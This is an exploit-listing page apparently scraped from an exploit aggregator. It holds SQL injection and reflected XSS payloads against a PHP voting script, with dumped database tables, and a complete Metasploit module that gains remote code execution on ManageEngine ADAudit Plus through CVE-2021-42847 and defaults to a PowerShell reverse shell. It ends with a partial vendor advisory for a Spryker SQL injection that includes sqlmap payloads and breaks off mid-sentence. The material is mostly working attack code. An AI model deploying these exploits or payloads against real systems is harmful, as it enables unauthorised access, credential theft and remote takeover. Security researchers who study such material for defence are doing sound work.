Latest exploits :: CodePwn

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : codesler.com │ │ Vendor : Codesler - Rohit Chouhan (codester.com) │ │ Software : VOTAB - Voting Quiz PHP Script 1.0 │ │ Vuln Type: SQL Injection │ │ Impact : Database Access │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ │ │ SQL injection attacks can allow unauthorized access to sensitive data, modification of │ │ data and crash the application or make it unavailable, leading to lost revenue and │ │ damage to a company's reputation. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search.php https://website/search.php?q=[SQLI] GET parameter 'q' is vulnerable to SQL Injection --- Parameter: q (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: q=' AND (SELECT 5257 FROM (SELECT(SLEEP(5)))xauk) AND 'xYsK'='xYsK Type: UNION query Title: Generic UNION query (NULL) - 11 columns Payload: q=' UNION ALL SELECT CONCAT(0x71707a7171,0x53474f4b726f5a754b696a76766959614569735371744d4d6d7a646a7069654b6666795967414a47,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - --- [+] Starting the Attack fetching current database current database: '**401**_votab' fetching tables +---------------+ | activity | | admin | | settings | | smtp_settings | | users | | vote | | votes | +---------------+ fetching columns for table 'admin' [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(11) | | name | text | | password | varchar(20) | | username | varchar(20) | +----------+-------------+ [-] Done </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Vulnerability ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : codesler.com │ │ Vendor : Codesler - Rohit Chouhan (codester.com) │ │ Software : VOTAB - Voting Quiz PHP Script 1.0 │ │ Vuln Type: Reflected XSS │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/0x0CryptoJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2023 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /search.php GET parameter 'q' is vulnerable to RXSS https://website/search.php?q=drmmt<script>alert(1)</script>tehb4 [-] Done </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE', 'Description' => %q{ This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code by creating a custom alert profile and leveraging its custom alert script component. The module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and obtain the build number of the target ADAudit Plus server. If the credentials are valid and the target is vulnerable, the module creates an alert profile that will be triggered for any failed login attempt to the configured domain. For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. For versions 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom alert script component of the alert profile. This module requires valid credentials for an account with the privileges to create alert scripts. It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2. Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. }, 'License' => MSF_LICENSE, 'Author' => [ 'Moon', # CVE-2021-42847 discovery 'Erik Wynter' # @wyntererik - Additional research and Metasploit module ], 'References' => [ ['CVE', '2021-42847'], ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'], ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html'] ], 'Privileged' => true, 'DisclosureDate' => '2021-10-01', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Windows Command', { 'Type' => :win_cmd, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8081, 'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates. 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']), OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']), ]) end def auth_domain datastore['AUTH_DOMAIN'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def delete_alert(adapcsrf_cookie) print_status("Attempting to delete alert profile #{@alert_name}") # let's try and get the the ID of the alert we want to delete res_get_alert = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'TAB_ID' => '5', # this cannot be randomized 'adapcsrf' => adapcsrf_cookie } }) unless res_get_alert print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end unless res_get_alert.code == 200 && !res_get_alert.body.empty? print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first if alert_id.blank? print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end # delete the alert res_delete_alert = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'data' => { 'ids' => [alert_id] }.to_json, 'adapcsrf' => adapcsrf_cookie } }) unless res_delete_alert print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") return end unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile') print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") return end print_good("Successfully deleted alert profile #{@alert_name}") end def create_alert_profile if @exploit_method == 'cve_2021_42847' print_status('Attempting to authenticate again in order to retrieve the required cookies.') # We have to authenticate again in order to get the required cookie, so reset the cookie cache cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unreachable, login_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) when adaudit_plus_status::SUCCESS # just to distinguish it from any other potential statuses this method may return in the future else # this covers other potential statuses that this method may return in the future # note that here the login method should never return adaudit_plus_status::NO_DOMAINS # however, if it would do so due to some library change, treating it as an unknown failure makes sense fail_with(Failure::Unknown, login_msg) end # Code must have been a success related code so we should have # an adapcsrf_cookie entry within the login results hash. @adapcsrf_cookie = login_results['adapcsrf_cookie'] end print_status('Attempting to create an alert profile') # visit /api/json/jsMessage to see if we're dealing with 7003 or lower res_check_7004 = send_request_cgi({ 'uri' => adaudit_api_js_message_uri, 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie } }) unless res_check_7004 fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage') end unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info') fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') end alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security' if res_check_7004.body&.include?(alert_script_7004_msg) # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847 unless @exploit_method == 'cve_2021_42847' # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck gpo_watcher_status = gpo_watcher_data_check if gpo_watcher_status == adaudit_plus_status::SUCCESS @exploit_method = 'cve_2021_42847' else fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.') end # here we have to authenticate again in order to get the required adapcsrf cookie cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unreachable, login_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) when adaudit_plus_status::SUCCESS # just to distinguish it from any other potential statuses this method may return in the future else fail_with(Failure::Unknown, login_msg) end @adapcsrf_cookie = login_results['adapcsrf_cookie'] end # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name # when creating the alert profile. Therefore call the function to create this alert script and save the name of the # script location. @ps1_script_name = create_alert_script end # save the alert profile @alert_name, alert_data = alert_profile_info res_save_alert = send_request_cgi({ 'uri' => adaudit_api_alertprofiles_save_uri, 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'data' => alert_data, 'adapcsrf' => @adapcsrf_cookie } }) unless res_save_alert fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") end unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile') print_error("The server sent the following response: #{res_save_alert.body&.strip}") @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") end print_good("Successfully created alert profile #{@alert_name}") end def alert_profile_info script_location = @ps1_script_name || payload.encoded alert_name = rand_text_alphanumeric(8..12) alert_data = { 'alertName' => alert_name, 'alertDescription' => rand_text_alpha(20..30), 'alertSeverity' => '1', 'alertMsg' => '%FORMAT_MESSAGE%', 'alertIsMailNotify' => false, 'alertIsSMSNotify' => false, 'monitorList' => [1], 'selectedCategory' => 'All', 'domainName' => @domain, 'isSave' => true, 'alertProfileId' => 'new', 'thresholdBasedAlert' => false, 'thresholdCount' => rand(5..15), 'thresholdPeriod' => '=', 'thresholdInterval' => rand(3..10), 'thresholdGroupingColumns' => [], 'throttleBasedAlert' => false, 'throttleInterval' => rand(30..90), 'throttleGroupingColumns' => [], 'userMap' => {}, 'hourBasedAlert' => false, 'contentType' => 'html', 'alertMsgNeeded' => true, 'alertProfileNameNeeded' => true, 'mailAlertLink' => '', 'eventDetails' => true, 'emailMoreRecipients' => '', 'smsMoreRecipients' => '', 'scriptLocation' => script_location, 'alertFilter' => false, 'criteriaValue' => '-' }.to_json # we need to send along the alert name too since we'll need it to delete the alert after it's been created [alert_name, alert_data] end def create_alert_script ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1" print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}") if @domain.blank? @domain = "#{rand_text_alpha_lower(5..10)}.local" vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end gpo_post_data = { 'DOMAIN_NAME' => @domain, 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed 'htmlReport' => payload.encoded } res = send_request_cgi({ 'method' => 'POST', 'uri' => adaudit_plus_gpo_watcher_data_uri, 'ctype' => 'application/json', 'data' => generate_gpo_watcher_data_json(gpo_post_data) }) unless res fail_with(Failure::Unreachable, 'Connection failed') end unless res.code == 200 && res.body&.include?('{"success":true}') fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') end print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory") ps1_script_name end def check target_check_results = adaudit_plus_target_check target_check_msg = target_check_results['message'] case target_check_results['status'] when adaudit_plus_status::CONNECTION_FAILED return CheckCode::Unknown(target_check_msg) when adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Safe(target_check_msg) when adaudit_plus_status::SUCCESS vprint_status(target_check_msg) else # this covers cases that may be added in the future return CheckCode::Unknown(target_check_msg) end target_check_res = target_check_results['server_response'] # In order to trigger the final payload in the exploit method, we will need to send an authentication request to # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain, # we can try to extract the FQDN for a configured domain from the server response domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res) domain_alias_msg = domain_alias_results['message'] if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS return CheckCode::Safe(domain_alias_msg) end domain_aliases = domain_alias_results['domain_aliases'] # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable if domain_aliases.blank? return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.') end # if the only configured domain is the default domain, we will not be able to trigger the payload, so # stop as there is no point in proceeding if domain_aliases == ['ADAuditPlus Authentication'] return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') end # set the domain alias to the first configured domain, unless the user provided an invalid domain # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first print_status("Using configured authentication domain alias #{@domain_alias}.") else # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed print_status(domain_alias_msg) return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}") login_results = adaudit_plus_login(auth_domain, username, password, false) login_msg = login_results['message'] case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Unknown(login_msg) when adaudit_plus_status::NO_ACCESS, NO_DOMAINS # if we cannot authenticate, we can't create an alert profile so exploitation is impossible # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible return CheckCode::Safe(login_msg) when adaudit_plus_status::SUCCESS @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end print_good('Successfully authenticated') @adapcsrf_cookie = login_results['adapcsrf_cookie'] # check the build version to see if we can actually exploit the target build_results = adaudit_plus_grab_build(@adapcsrf_cookie) build_msg = build_results['message'] unless build_results['status'] == adaudit_plus_status::SUCCESS # if we don't get a valid build number, we don't know what the target is, so we can't proceed # however, we can also not say that the target is safe or detected, so we return Unknown return CheckCode::Unknown(build_msg) end build_version = build_results['build_version'] if build_version < Rex::Version.new('7004') @exploit_method = 'default' CheckCode::Appears("The target is ADAudit Plus #{build_version}") # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists elsif build_version < Rex::Version.new('7006') gpo_watcher_status = gpo_watcher_data_check case gpo_watcher_status when adaudit_plus_status::SUCCESS @exploit_method = 'cve_2021_42847' return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") when adaudit_plus_status::CONNECTION_FAILED return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") when adaudit_plus_status::NO_ACCESS return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") end else CheckCode::Safe("The target is ADAudit Plus #{build_version}") end end def exploit if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method @exploit_method = 'default' elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/ print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.') print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload') end if @adapcsrf_cookie.blank? # let's clear the cookie jar and try to authenticate cookie_jar.clear print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}") login_results = adaudit_plus_login(auth_domain, username, password, false) login_msg = login_results['message'] case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unreachable, login_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) when adaudit_plus_status::NO_DOMAINS fail_with(Failure::NotVulnerable, login_msg) when adaudit_plus_status::SUCCESS @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") else # this covers other potential statuses that may be added in the future fail_with(Failure::Unknown, login_msg) end print_good('Successfully authenticated') @adapcsrf_cookie = login_results['adapcsrf_cookie'] end # let's create the alert profile create_alert_profile # time to trigger the payload if @domain_alias.nil? # this means check didn't run, so we need to obtain the configured Active Directory domains target_check_results = adaudit_plus_target_check target_check_status = target_check_results['status'] target_check_msg = target_check_results['message'] unless target_check_status == adaudit_plus_status::SUCCESS print_error('Failed to obtain the configured Active Directory domain aliases') case target_check_status when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unreachable, target_check_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, target_check_msg) else # this covers other potential statuses that this method may return in the future fail_with(Failure::Unknown, target_check_msg) end end target_check_res = target_check_results['server_response'] fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank? # In order to trigger the final payload in the exploit method, we will need to send an authentication request to # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain, # we can try to extract the FQDN for a configured domain from the server response. domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) domain_alias_msg = domain_alias_results['message'] case domain_alias_results['status'] when adaudit_plus_status::NO_DOMAINS fail_with(Failure::NotVulnerable, domain_alias_msg) when adaudit_plus_status::SUCCESS # make sure we actually have a domain alias, otherwise the target is not vulnerable if domain_alias_results['domain_aliases'].blank? fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.') end else fail_with(Failure::Unknown, domain_alias_msg) end domain_aliases = domain_alias_results['domain_aliases'] # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed if domain_aliases == ['ADAuditPlus Authentication'] fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') end # set the domain alias to the first configured domain, unless the user provided an invalid domain # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first print_status("Using configured authentication domain alias #{@domain_alias}.") else # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed print_status(domain_alias_msg) fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end end print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true) login_msg = login_results['message'] manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}") when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}") when adaudit_plus_status::NO_ACCESS print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...") when adaudit_plus_status::SUCCESS fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}") else print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.') end @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session end def cleanup return unless @alert_name # this should only run if we actually created an alert if @pwned == 0 print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') end cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) case login_results['status'] when adaudit_plus_status::SUCCESS delete_alert(login_results['adapcsrf_cookie']) when adaudit_plus_status::CONNECTION_FAILED print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.') when adaudit_plus_status::UNEXPECTED_REPLY print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.') when adaudit_plus_status::NO_ACCESS print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') else # this covers other potential statuses that this method may return in the future # note that here the login method should never return adaudit_plus_status::NO_DOMAINS # however, if it would do so due to some library change, treating it as unexpected reply makes sense print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.') end end def on_new_session(cli) @pwned += 1 # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it # we may get two shells, so let's not repeat ourselves if @pwned == 1 # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically # but when loading them manually, they worked it fine if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'") end if @ps1_script_name # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory") end end super end end </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Title ===== SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS Status ====== PUBLISHED Version ======= 1.0 CVE reference ============= CVE-2023-27568 Link ==== https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-001/ Text-only version: https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-001.txt Affected products/vendor ======================== Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales: 11.16.0-11.36.1 or spryker-feature/order-management: 202009.0-202212.0 Summary ======= An SQL injection vulnerability affecting Spryker-based webshops was discovered in the order history search form. It can be exploited by authenticated attackers in order to retrieve informationen from the database (e.g. customer and administrator login information, order details, etc.). Depending on the configuration of the webshop, access to the file system or even execution of arbitrary commands on the database management system is possible. Risk ==== Attackers with valid credentials for Spryker-based webshops are able to exploit an SQL injection vulnerability in the order history search form. This allows full access to the application’s database and the data stored within it. This database will generally contain -- among other information -- personally identifiable information. Disclosure of such data could lead to reputation damage for the webshop's owner. In addition, the vulnerability might also pose legal risks regarding General Data Protection Regulation (GDPR). Depending on the configured authentication methods, the database will also contain login information of customers and administrators. Administrative login information (i.e. username and password hash) could enable attackers to extend their privileges and access the shop's backend, where administrative actions can be performed. In combination with the vulnerability described in SCHUTZWERK-SA-2022-003/CVE-2022-28888 [1], remote command execution could also be feasible from this position if access to the required environment variables is possible. The login information of customers could be abused by attackers, for example if credentials are re-used across different services. Depending on the DBMS (database management system) in use, write access to the database could theoretically also be possible. In this case, attackers can create new users and grant them administrative privileges, again allowing for privilege escalation. Also, once more depending on the DBMS, reading and writing files on the file system of the DBMS or even direct execution of arbitrary system commands could be possible. The vulnerability can be easily detected, even through automated scanners, and trivially exploited using tools such as sqlmap [2]. Description =========== Structured Query Language, abbreviated as SQL, is a standardized programming language for managing data held in a relational database management system and performing various operations on the data stored in them. SQL injection vulnerabilities occur when attacker-controlled data is embedded unchecked in SQL queries. Such vulnerabilities allow attackers to bypass restrictions in the application logic and issue manipulated queries to the database server. Depending on various factors (database management system used, database user permissions, etc.), it may be possible to read, modify and delete data and compromise the database or application server. The Spryker-based webshop examined as part of a customer assessment offers an order history with a list of orders that have been placed in the past. While testing this function, it was observed that a server-side error condition was triggered when a single quotation mark (') was placed in the search term field. The HTTP request that triggered this error condition is the following (URL-decoded and shortened for increased readability): GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]='& orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=& orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=& orderSearchForm[orderDirection]=&orderSearchForm[reset]=& orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1 Host: <redacted> Cookie: <redacted> [...] If the search term is instead comprised of two single quotation marks, the server does not return an error message and successfully completes the search operation: GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]=''& orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=& orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=& orderSearchForm[orderDirection]=&orderSearchForm[reset]=& orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1 Host: <redacted> Cookie: <redacted> [...] This behavior with respect to the single quotation mark is often an indicator of SQL injection vulnerabilities. As a next step, the sqlmap [2] utility was used to partly automate the verification and exploitation phase: % cat search.req GET /de/customer/order?orderSearchForm%5BsearchType%5D=all&orderSearchForm%5BsearchText%5D=test* &orderSearchForm%5Bfilters%5D%5BdateFrom%5D=&orderSearchForm%5Bfilters%5D%5BdateTo%5D=& orderSearchForm%5Bfilters%5D%5Bcompany%5D=company&buttonSubmit=&orderSearchForm%5BorderBy%5D=& orderSearchForm%5BorderDirection%5D=&orderSearchForm%5Breset%5D=& orderSearchForm%5B_token%5D=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1 Host: <redacted> Cookie: <redacted> % sqlmap -r search.req --force-ssl --current-db [...] [10:37:12] [INFO] parsing HTTP request from 'search.req' custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] [10:37:12] [INFO] testing connection to the target URL [...] Parameter: #1* (URI) Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: https://<redacted>:443/de/customer/order?orderSearchForm[searchType] =all&orderSearchForm[searchText]=test')) AND 2882=(SELECT 2882 FROM PG_SLEEP(5)) AND (('yIoB'='yIoB&orderSearchForm[filters][dateFrom]=&orderSearchForm[filters][dateTo]=& orderSearchForm[filters][company]=company&buttonSubmit=&orderSearchForm[orderBy]=& orderSearchForm[orderDirection]=&orderSearchForm[reset]=& orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A [10:37:14] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL (CockroachDB fork) [10:37:14] [INFO] fetching current database [...] public current database (equivalent to schema on PostgreSQL): 'public' [...] The URL parameter orderSearchForm[searchText] was marked with an asterisk in the request to force sqlmap to focus on this parameter. sqlmap confirmed the vulnerability and successfully extracted the name of the current database as "public". Time-based blind SQL injection vulnerabilities are notoriously slow to exploit. Nonetheless, it was still possible to extract the following list of tables contained in the current database: +--------------------------------------------------+ [...] | spy_acl_group | | spy_acl_group_archive | | spy_acl_groups_has_roles | | spy_acl_role | | spy_acl_role_archive | | spy_acl_rule | | spy_acl_rule_archive | | spy_acl_user_has_group | | spy_auth_reset_password | | spy_auth_reset_password_archive | | spy_availability | | spy_availability_abstract | | spy_availability_storage | [...] +--------------------------------------------------+ Using the same method, access to the content of the different database tables is possible. Solution/Mitigation =================== Updated versions of the affected modules have been released by the vendor and should be applied. In general, the following mitigation measures apply to SQL injection vulnerabilities: It is recommended to use so-called prepared statements with parameterized queries. With this mechanism, user input is strictly separated from the actual SQL query. It is then processed only as a string and not as part of the SQL query. This makes it impossible for an attacker to modify the query itself. The entire code base should be audited to determine at which other endpoints SQL queries are generated and used. This should be followed by a migration to prepared statements. The adaptation should be prioritized based on the risk. For example, the risk of successful exploitation is significantly 